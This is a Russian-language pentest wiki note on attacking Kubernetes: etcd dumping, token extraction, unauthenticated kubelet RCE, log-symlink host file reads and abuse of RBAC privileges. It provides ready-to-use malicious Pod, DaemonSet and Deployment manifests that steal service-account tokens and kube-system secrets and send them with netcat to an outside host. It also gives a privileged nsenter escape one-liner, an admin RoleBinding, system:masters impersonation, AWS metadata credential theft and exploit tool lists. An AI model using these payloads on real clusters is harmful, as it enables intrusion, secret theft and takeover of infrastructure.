
1. Нет netcat. Мб придется установить через apt-get или другую команду указать

2. Не нужен бекконнект - просто стереть command и args.

Pod

Группа из одного или нескольких приложений.

Локальные файлы

ca.crt - сертификат для проверки коммуникаций (можно отключить в curl функцией -k)

namespace - текущее рабочее пространство

token - сервисный токен Pod'а

Где их обычно можно найти:

/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount

Переменные окружения

Команда для получения адреса API-сервера (обычно переменная KUBECONFIG):

(env | set) | grep -i "kuber|kube"

Etcd

Etcd - key-value база данных. Является одним из самых критичных ресурсов в котором хранятся например токены.


Порты: 2379/tcp, 6666/tcp


Эксплуатация

Анонимный доступ

У etcd может быть включен анонимный доступ, лучше проверить используя различные утилиты

etcdctl

etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

curl

curl http://<MASTER-IP>:2379/v2/keys


Дамп базы

Доступ к Node

Если у нас есть исполнение команд на той же ноде, где крутится контейнер с etcd, то для поиска базы данных достаточно ввести следующую команду и перейти к пункту парсинга базы etcd.

ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir


Либо воспользоваться утилитой etcdctl (лучше перейти в контейнер с etcd и там запустить команду):

docker ps
docker exec -it container_name /bin/bash
etcdctl get / --prefix --keys-only

Парсинг базы

Если у вас есть файл базы данных, то вы можете спарсить данные из него следующей командой:

strings /var/lib/etcd/member/snap/db | less

Извлечение токенов и servicename

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

NodePort

Используется для балансировки запросов.


Порты: 30000-32767/tcp (по-умолчанию, можно менять).

Поиск

Тк по-умолчанию запускается на определенном диапазоне tcp-портов, можно просканнировать их и найти ранее не исследованные сервисы.

nmap

nmap -sV -v -p 30000-32767 <IP>

API-server

Веб-сервер, предоставляющий API для управления kubernetes.


Порты: 443/tcp. 6443/tcp, 8080/tcp, 8443/tcp

По следующим URL можно определить, является ли веб-сервер Kubernetes API:

/swaggerapi
/healthz
/api/v1

Список плагинов

Как правило, доступ к API не анонимный. Но, в любом случае, попробуйте перейти сайт API мастера и если у вас есть права, то вы можете увидеть список Endpoint'ов.

Среди них могут оказаться плагины. В случае обнаружения плагинов перейдите на соответствующую главу данной вики-заметки.

Kubelet API

Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е.


Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации)

Сбор информации

Информация о Pod'ах и их контейнерах:

http://<external-IP>:10255/pods

Эксплуатация

Отсутствие авторизации 10250/tcp

Если на сервере отсутствует авторизация, то можно проэксплуатировать RCE.


Чтобы проверить:

curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods


Если не вернуло "Unauthorized" - можно запустить код (подставить namespace, pod, container):

curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/

Также можно воспользоваться скриптом https://github.com/serain/kubelet-anon-rce

Kube-proxy

Сетевая прокся, работающая на каждом узле в кластере. Конфигурирует правила сети на узлах.


Порты: 10256/tcp(healthcheck).


Role-Based Access Control

Система по управлению ролями. Если проще - просто система контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).


Как правило, неправильная настройка доступа может привести к проблемам безопасности.

Список привилегий

Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду:

# Весь список привилегий
kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name
curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
# удачи парсить:)

Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы:

kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

Другие команды для получения информации о текущей роли:


# Текущие привилегии
kubectl auth can-i --list
## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account

# Список ролей кластера
kubectl get clusterroles
kubectl describe clusterroles

# Список Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings

# Список ролей
kubectl get roles
kubectl describe roles

# Список Role Buildings
kubectl get rolebindings
kubectl describe rolebindings


Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ

Привилегии - services

Services нужны для предоставления служб через определенный порт и ip (по-факту load-balancer).

Доступ list

Получить список сервисов. Полезно тем, что позволяет получить новые сервисы, которые могут быть целью дальнейших атак.

kubectl

kubectl get services
kubectl get svc

Привилегии - api-resources

Описание Kubernetes-API (куда мы можем стучаться)

Доступ get

Позволяет получить список ресурсов, на которые мы можем применять действие list.

kubectl

kubectl api-resources --namespaced=true
kubectl api-resources --namespaced=false

curl

Делает очень много запросов, лучше использовать kubectl.


Привилегии - roles

Существующие роли и действия с ними.

Доступ list

Позволяет вывести все роли.

kubectl

kubectl get roles

curl

curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" --header "Authorization: Bearer $TOKEN" -k

Привилегии - ClusterRoles

Существующие роли кластеров и действия с ними.

Доступ list

Позволяет вывести все роли кластеров.

kubectl

kubectl get clusterroles

curl

curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" --header "Authorization: Bearer $TOKEN" -k


Привилегии - Namespaces

Работа с пространствами имен.

Доступ list

Позволяет вывести все пространства имен kubernetes.

kubectl

kubectl get namespaces

curl

curl -s "$APISERVER/api/v1/namespaces/" --header "Authorization: Bearer $TOKEN" -k


Привилегии - serviceaccounts

Позволяет работать с сервисными аккаунтами.

Доступ list

Получить список аккаунтов, которые, например, можно будет использовать при бруте.

kubectl

kubectl get serviceaccounts


curl

curl -s $APISERVER/api/v1/namespaces/default/serviceaccounts/ --header "Authorization: Bearer $TOKEN" -k

Привилегии - Nodes

Node - машина в вашем кластере на котором будут Pod'ы.

Доступ list

Позволяет получить список Nodes, которые в дальнейшем могут быть целью атаки.

kubectl

kubectl get nodes

curl

curl -s $APISERVER/api/v1/nodes/ --header "Authorization: Bearer $TOKEN" -k


Привилегии - secrets

Относится к etcd - хранилище секретов.

Доступ list

Позволяет получить список всех секретов в namespace.

kubectl

kubectl get secrets


curl

curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" -k

curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Доступ get

Позволяет прочитать секрет.

Проблема в том, что при этом не всегда у нас будет доступ list на получение списка секретов, но тк идентификатор секрета - это 5 символов из A..Z, поэтому его возможно перебрать.

Пример названия секрета пользователя drakylar-admin:

drakylalr-admin-token-sgjbp

где sgjbp - случайная строка.


kubectl

Получить секрет по имени

kubectl get secrets secret_name -o yaml

curl

curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt


Привилегии - logs

Просмотр логов от Pod'ов.

Доступ get

Позволяет просмотреть логи Pod'а.

kubectl logs pod_name


В определенном случае позволяет читать файлы хостовой системы.

Условия:

1. Доступ на запись внутри контейнера по пути /var/logs/pods/namespace_pod_uid/container/

2. Права get на чтение логов данного контейнера


Эксплуатация:


1. Создать символьную ссылку /var/logs/pods/namespace_pod_uid/container/0.log, которая будет указывать на /etc/shadow (или другой файл хостовой системы).

2. Выполнить команды:

kubectl logs pod_name
kubectl logs pod_name --tail=2

Таким образом вы сможете читать файлы хостовой системы.


Второй вариант эксплуатации проще: если у атакующего есть на хостовой машине права чтения nodes/log, то он может создать следующую символьную ссылку:

/host-mounted/var/log/sym -> /

И делать запросы на

https://<gateway>:10250/logs/sym/

Там будет доступен список файлов системы (экспериментируйте с symlink).

Подробнее почитать тут: https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Аналогичное достигается в обходе allowedHostPaths. Можно не вдаваться, ссылка желающим почитать https://jackleadford.github.io/containers/2020/03/06/pvpost.html

Привилегии - pods

Доступ list

Получить список Pod'ов. Полезно для дальнейшего продвижения по сети компании.

kubectl

kubectl get pods

curl

curl -v -s $APISERVER/api/v1/namespaces/<namespace>/pods/ --header "Authorization: Bearer $TOKEN" -k


Доступ port-forward

Не знал, куда добавлять, поэтому будет тут.

Суть в том, что можно прокинуть порт с удаленного Pod'а на локальную машину.

Полезно например если хотите достучаться до уязвимого сервиса.

kubectl

kubectl port-forward pod/mypod 5000:5000


Доступ create

Позволяет создавать новые Pod'ы.

Три варианта эксплуатации:

1. Кража токена сервисного аккаунта: в случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.

2. Доступ на хостовую систему, на которой запущен конейнер (побег из конейнера см. docker_escape)

3. Запуск майнера


kubectl

Для этого требуется создать yaml-файл со следующим содержимым:

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never
  hostIPC: true
  hostNetwork: true
  hostPID: true
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  volumes:
  - name: host-volume
    hostPath:
      path: /

И выполнить его командой:

kubectl apply -f malicious-pod.yaml

Что делает созданный Pod:

1. подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером (кража токена, который можно использовать на другом PC)

2. hostPID - работа с хостовыми PID (см. главу Docker_escape)

3. hostIPC - работа с хостовыми IPC (см. главу Docker_escape)

4. hostNetwork - работа с хостовыми сетями (см. главу Docker_escape)

5. volumeMounts - хостовая файловая система, доступная по /host (см. главу Docker_escape)

Если вам не нужна кража токена, то однострочник для запуска:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

curl

Для запросов через curl, требуется создать json-файл.

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "alpine"
    },
    "spec": {
        "restartPolicy": true,
        "hostIPC": true,
        "hostNetwork": true,
        "hostPID": true,
        "volumes": [
            {
                "name": "host-volume",
                "hostPath": {
                    "path": "/"
                }
            }
        ],
        "containers": [
            {
                "name": "alpine",
                "image": "alpine",
                "commands": ["/bin/sh"],
                "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
                "serviceAccountName" : "bootstrap-signer",
                "automountServiceAccountToken": true,
                "hostNetwork": true,
                "imagePullPolicy": "IfNotPresent",
                "securityContext": {
                    "allowPrivilegeEscalation": true,
                    "privileged": true,
                    "runAsUser": 0
                },
                "volumesMount": [
                    {
                        "mountPath": "/host",
                        "name": "host-volume"
                    }
                ]                  
            }
        ]
    }
}

И выполнить запрос:

curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

Но! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл.


Доступ exec

Если у вас есть привилегия exec на один или несколько Pod'ов, то вы можете зайти в них и выполнять произвольные команды.

kubectl

kubectl exec --stdin --tty shell-demo -n pod_namespace -- /bin/bash

Привилегии - DaemonSet

DaemonSet - создание копии Pod'а.

Доступ - list

Позволяет получить список DaemonSets, которые в дальнейшем могут быть выбраны целью для атаки.


kubectl

kubectl get daemonsets

curl

curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply --header "Authorization: Bearer $TOKEN" -k 
curl -v -s $APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets --header "Authorization: Bearer $TOKEN" -k


Доступ - create

Аналогично "Pods - create", мы можем создать DaemonSet, у которого при старте будет выполняться наша команда.

В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.

При желании, конфиг можно отредактировать, добавив:

1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.

2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему


Все это можно найти в главе выше "Pods - create".


kubectl

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']


kubectl apply -f malicious-pod.yaml

curl

{
  "apiVersion": "apps/v1",
  "kind": "DaemonSet",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "selector": {
      "matchLabels": {
        "name": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "name": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}


curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json


Привилегии - Deployment

Deployment - представление работающего приложения в кластере (например, количество его репликаций).


Доступ - list

Получить список всех deployments

kubectl

kubectl get deployments
kubectl get deployments -n custnamespace


curl

curl -v -s $APISERVER/api/v1/namespaces/<namespace>/deployments/ --header "Authorization: Bearer $TOKEN" -k


Доступ - create

Аналогично "Pods - create", мы можем создать Deployment, у которого при старте будет выполняться наша команда.

В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.

При желании, конфиг можно отредактировать, добавив:

1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.

2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему


Все это можно найти в главе выше "Pods - create".


kubectl

apiVersion: apps/v1
kind: Deployment
metadata:
  name: alpine
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: alpine
  template:
    metadata:
      labels:
        app: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']


kubectl apply -f malicious-deployment.yaml

curl

{
  "apiVersion": "apps/v1",
  "kind": "Deployment",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "replicas": 1,
    "selector": {
      "matchLabels": {
        "app": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "app": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}


curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json

Привилегии - Statefulsets

Statefulsets - представление работающего приложения в кластере (например, количество его репликаций), схоже с Deployment.


Доступ - create

Аналогично "Pods - create", мы можем создать Statefulsets, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Replicationcontrollers

Replicationcontrollers - организация репликаций приложений.


Доступ - create

Аналогично "Pods - create", мы можем создать Replicationcontrollers, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Replicasets

Replicasets - организация репликаций приложений, схоже с Replicationcontrollers.


Доступ - create

Аналогично "Pods - create", мы можем создать Replicasets, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Jobs

Jobs - запускает один или несколько Pod'ов и будет пытаться повторить их запуск пока определенное количество Pod'ов не завершится успешно.


Доступ - create

Аналогично "Pods - create", мы можем создать Jobs, у которого при старте будет выполняться наша команда.

TODO


Привилегии - Cronjobs

Cronjobs - запускает Jobs по расписанию.

Доступ - list

Позволяет получить список CronJobs, которые в дальнейшем могут быть выбраны целью для атаки.


kubectl

kubectl get cronjobs

curl

curl -v -s $APISERVER/apis/batch/v1/namespaces/default/cronjobs --header "Authorization: Bearer $TOKEN" -k 
curl -v -s $APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs --header "Authorization: Bearer $TOKEN" -k


Доступ - create

Аналогично "Pods - create", мы можем создать Cronjobs, у которого при старте будет выполняться наша команда.

TODO


Привилегии - RoleBinding

RoleBinding - связывает пользователей и роли.

Доступ - create

Мы можем прикрепить к нашему пользователю роль администратора и получить контроль над kuberntetes.

kubectl

Создаем YAML-файл (указать kind, name и namespace аккаунта - в примере sa-comp):

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: malicious-rolebinding
  namespaces: default
roleRef:
  apiGroup: '*'
  kind: ClusterRole
  name: admin
subjects:
  - kind: ServiceAccount
    name: sa-comp
    namespace: default

Выполняем файл:

kubectl apply -f malicious-rolebinding.yaml

curl

Создаем JSON-файл (указать kind, name и namespace аккаунта - в примере sa-comp):

{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespaces": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "sa-comp",
            "namespace": "default"
        }
    ]
}


Выполняем запрос

curl -v -s $APISERVER/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -H "Content-Type: application/json" -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json


Привилегии - Impersonate

Impersonate - позволяет делать запросы от имени другого аккаунта.

kubectl

kubectl get secrets --as=superman --as-group=system:masters


curl

curl -v -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -k

Примеры заголовков, которые могут потребоваться:

Impersonate-User: jane.doe@example.com
Impersonate-Group: developers
Impersonate-Group: admins
Impersonate-User: jane.doe@example.com
Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com
Impersonate-Extra-acme.com%2Fproject: some-project
Impersonate-Extra-scopes: view
Impersonate-Extra-scopes: development
Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b

Стороннее ПО

cAdvisor

Собирает статистику по контейнерам.

Репозиторий: https://github.com/google/cadvisor

Порты: 4194/tcp.


Получение информации

curl -k https://<IP Address>:4194

Calico

Дополнение Kubernetes, которое позволяет более гибко настраивать и управлять сетевыми политиками в Kubernetes.


Порты: 9099/tcp(calico-felix -демон запущенных на всех машинах обслуживающихся Calico).


Calico - Typha

Компонент Calico для расширения Kubernetes deployment.


Порты: 5473/tcp.


Weave Score

Инструмент для мониторинга кластеров Docker и Kubernetes.


Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI).


Helm

Пакетный менеджер для Kubernetes. Используется для управления чартами (чарт - набор данных для создания приложения в кластере).


Порты: 44134/tcp (tiller).


Поиск

kubectl

Для поиска можно выполнить следующие команды:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

nmap

nmap -sV -v -p 44134 <subnet>


Взаимодействие с сервисом

Для взаимодействия с сервисом нужна утилита helm, после чего можно подключиться командой:

helm --host tiller-deploy.kube-system:44134 version

Эксплуатация

Повышение привилегий

Тк по умолчанию Helm2 установлен в kube-system namespace с большими привилегиями, то достаточно загрузить на него специальный проект https://github.com/Ruil1n/helm-tiller-pwn , который позволяет запускать команды:

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn/pwnchart

Подробнее про атаку: http://rui0.cn/archives/1573


Open Policy Agent

Система применения политик в различных системах (не только Kubernetes)

Gatekeeper

Дает возможность принудительного применения политик в кластере Kubernetes.

Облака

В случае, если kubernetes запущен в облаке, то это позволяет нам получить доп. информацию.


Тут будет кратко, подробно про облака смотрите в соответствующих вики-заметках

Amazon AWS

В случае с AWS кратко: можно получить API-токен из контейнера путем запроса по следующему адресу:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

А дальше с этим токеном уже идти на страницу AWS и смотреть как дальше пентестить.


Автоматизация эксплуатации

ctrsploit

https://github.com/ctrsploit/ctrsploit


Запуск внутри контейнера, с эксплуатацией повышения привилегий.

Сбор информации

./ctrsploit env w
./ctrsploit env g
./ctrsploit env c
./ctrsploit env cap
./ctrsploit env s
./ctrsploit env a
./ctrsploit env f

Эксплуатация

./ctrsploit e <название эксплоита>

Список эксплоитов на момент создания статьи (v0.5.2):

cgroupv1-release_agent, ra                                                                 escape tech by using the notify_on_release of cgroup v1
cgroupv1-release_agent-unknown_rootfs, ra3                                                 escape tech by using the notify_on_release of cgroup v1 without known rootfs
cgroup_mount-bypass-cgroupv1-release_agent, ra2, cve-2022-0492, 0492, cgroup_mount_bypass  cve-2022-0492: escape tech by using the notify_on_release of cgroup v1 after cgroup_mount bypass
CVE-2021-22555, 22555                                                                      escape tech by using the CVE-2021-22555
CVE-2020-8555, 8555                                                                        k8s CVE-2020-8555 SSRF
CVE-2017-1002101, subPath1, 1002101, CVE-2017-1002101, 2017-1002101                        CVE-2017-1002101
help, h                                                                                    Shows a list of commands or help for one command

kube-hunter

https://github.com/aquasecurity/kube-hunter

Больше по сетевому взаимодействию, умеет работать с конфигами и удаленно.

Много настроек, примеры запуска:

kube-hunter --cidr 192.168.0.0/24 --active
kube-hunter --remote some.domain.com --active
kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni...

CDK

https://github.com/cdk-team/CDK

Утилита для повышения привилегий из контейнера (+ опции для сканирования kubernetes).


Состоит из 3х модулей:

1. Evaluate - Сбор информации

2. Exploit - Запуск эксплоитов

3. Tool - Дополнительные инструменты.


Также есть версии:

1. All - максимальные проверки

2. Normal

3. Thin - оптимизация для контейнеров с коротким жизненным циклом

4. Upx - помогает обходить сигнатурные средства защиты


Сбор информации

cdk evaluate --full

Эксплуатация

cdk run --list
cdk run <script-name> [options]


Сторонние утилиты

cdk nc
cdk ps

Полный список утилит в README.md

kdigger

https://github.com/quarkslab/kdigger


Утилита нужна только, чтобы понять запущен ли код внутри контейнера или нет. Схоже функционалом с amicontained, но поновее. Также делает дополнительные проверки, которые могут помочь при container escape.

Важно! Есть некоторые проверки, которые могут повлиять на кластер, но они доступны только с опцией --active/-a.


Peirates

https://github.com/inguardians/peirates

Инструмент для пентеста куберов и постэксплуатации, например, сбора secrets с Node.


Очень много опций, лучше самостоятельно изучить при запуске.

BOtB

https://github.com/brompwnie/botb


Утилита для анализа и эксплуатации контейнеров. В случае с кубером может искать сервисные аккаунты и автоматически заюзать их секреты.


DEEPCE

https://stealthcopter.github.io/deepce/


https://github.com/stealthcopter/deepce


Повышение привилегий/побег из контейнера docker.

kubesploit

https://github.com/cyberark/kubesploit

Post-Exploitation framework. Много модулей:

- Побег из контейнера

- Поиск информации kubernetes (сеть)

- Сканы контейнеров kubeletctl


Ссылки

Заметки

HackTricks


Новостные каналы

Telegram k8security

Лабы

minik8s ctf

kubesploit lab